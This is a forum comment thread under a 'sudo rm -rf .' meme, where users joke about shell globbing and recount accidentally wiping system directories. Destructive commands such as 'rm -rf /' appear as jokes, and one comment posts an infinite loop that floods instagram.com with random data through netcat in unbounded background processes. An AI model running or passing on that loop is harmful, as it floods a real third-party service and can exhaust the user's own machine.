Sudo rm -rf .

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[–] 59 points 7 months ago (15 children)

DOS user detected! In linux you don't need *.*, you can just use *

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  • [–] 35 points 7 months ago (5 children)

    Maybe he wanted to remove only files with a dot in the name

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  • [–] 10 points 7 months ago (4 children)

    And if he’s on / (root) on most common distros, there won’t be any dirs with . (dot) in their name. Unless this matches the dot from the cwd, in which case this is the same as “rm -rf /“? Now I’m curious, I don’t often perform operations on the cwd using dot.

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  • [–] 6 points 7 months ago (3 children)

    At least bash doesn't seem to match it...

    gregor@raspberrypi:~ $ ls
    bridge  navidrome  seed  traefik
    gregor@raspberrypi:~ $ ls *.*
    ls: cannot access '*.*': No such file or directory
    gregor@raspberrypi:~ $ cat *.*
    cat: '*.*': No such file or directory
    
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  • [–] 2 points 7 months ago* (2 children)

    Right, so then if asterisk wildcards don’t match on . and .. then, in most common distros where there is no dot in any of the top level dirs in /, “rm -rf *.*” in the top level / dir is basically harmless and likely a noop.

    So OP is wrong.

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  • [–] 4 points 7 months ago (4 children)

    well, depending on your shell

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  • [–] 5 points 7 months ago (3 children)

    Which shell interprets * as everything before extension?

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  • [–] 7 points 7 months ago (2 children)

    Well I’m not necessarily commenting on the *.* but * will skip .files in bash.

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  • [–] 4 points 7 months ago (1 child)
  • [–] 2 points 7 months ago* (last edited 7 months ago)

    *.* will likely expect a file named *. and then delete any file globbed, but still leave dotfiles. At least in bash.

    In my shell it would just error at me and then I’d be mad fish doesn’t work like bash in this specific case

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  • [–] 32 points 7 months ago (3 children)

    Decades ago I ran an "rm -fr *" as root, I thought that I was ~/bin, but I was in /bin. That was a fun lesson.

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  • [–] 4 points 7 months ago

    I got into this bad habit of trompsing around as root on our dev systems at work because who gives a shit we abuse and reprovision those systems all the time.
    But then I find myself at home on one of my home servers or desktops fumbling around as root. Because I don’t want to constantly run sudo. Fortunately nothing bad has happened, bad enough to be memorable anyway, in the last 20 years or so. I guess I’m still pretty careful. Or lucky.

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  • [–] 28 points 7 months ago

    That's not how you remove the French

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  • [–] 12 points 7 months ago (1 child)

    There's an ancient UNIX copypasta that's basically the plot of this comic, but it's troublingly hard to find the original online.

    Here's one version I found: http://www.anvari.org/fun/Web_Tina/CREATION.html

    I don't remember "technocrat" being part of the original, but it wouldn't be the first time my recollection has been wrong.

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  • [–] 9 points 7 months ago*

    resizepart 1 128 Instead of 128GiB ...bad day

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  • [–] 8 points 7 months ago (1 child)

    Don't forget to add the -v to see the apocalypse unfold in real-time!

    Alabado sea El Omnissiah.

    • El Señor Archmagos Miguelito Malparido Hijo de Puta VII
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  • [–] 8 points 7 months ago (1 child)

    Well, you can't call yourself a computer expert until you erase your entire drive or make it unbootable at least 3 times.

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  • [–] 5 points 7 months ago

    I once read somewhere 30 years ago to literally sit on your hands when doing stuff like that.

    I have followed this advice since, and confused a lot of co-workers over the years when i stop what i'm doing and sit on my hands while i re-read what is on the screen.

    humans make mistakes, and sometimes mistakes are really really not what you want. everything that helps is a good thing :)

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  • [–] 5 points 7 months ago (2 children)

    I found this magical command to send 50kb of random text data to meta's server to fill up their database with garbage data. I don't know how to do it on massive scale but at least I am doing my part by running this command 24/7 :)

    while true;  do echo "$(openssl rand -hex 500000)" | netcat instagram.com 80 & disown; done;
    
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  • [–] 7 points 7 months ago*

    Silly god! You just had to chattr -i !

    "All-knowing" my ass. Half-baked deity can't even gentoo.

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  • [–] 6 points 7 months ago

    Even God is trying to remove the French

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  • [–] 2 points 7 months ago

    did that once but instead ran rm -rf / instead of rm -rf ./

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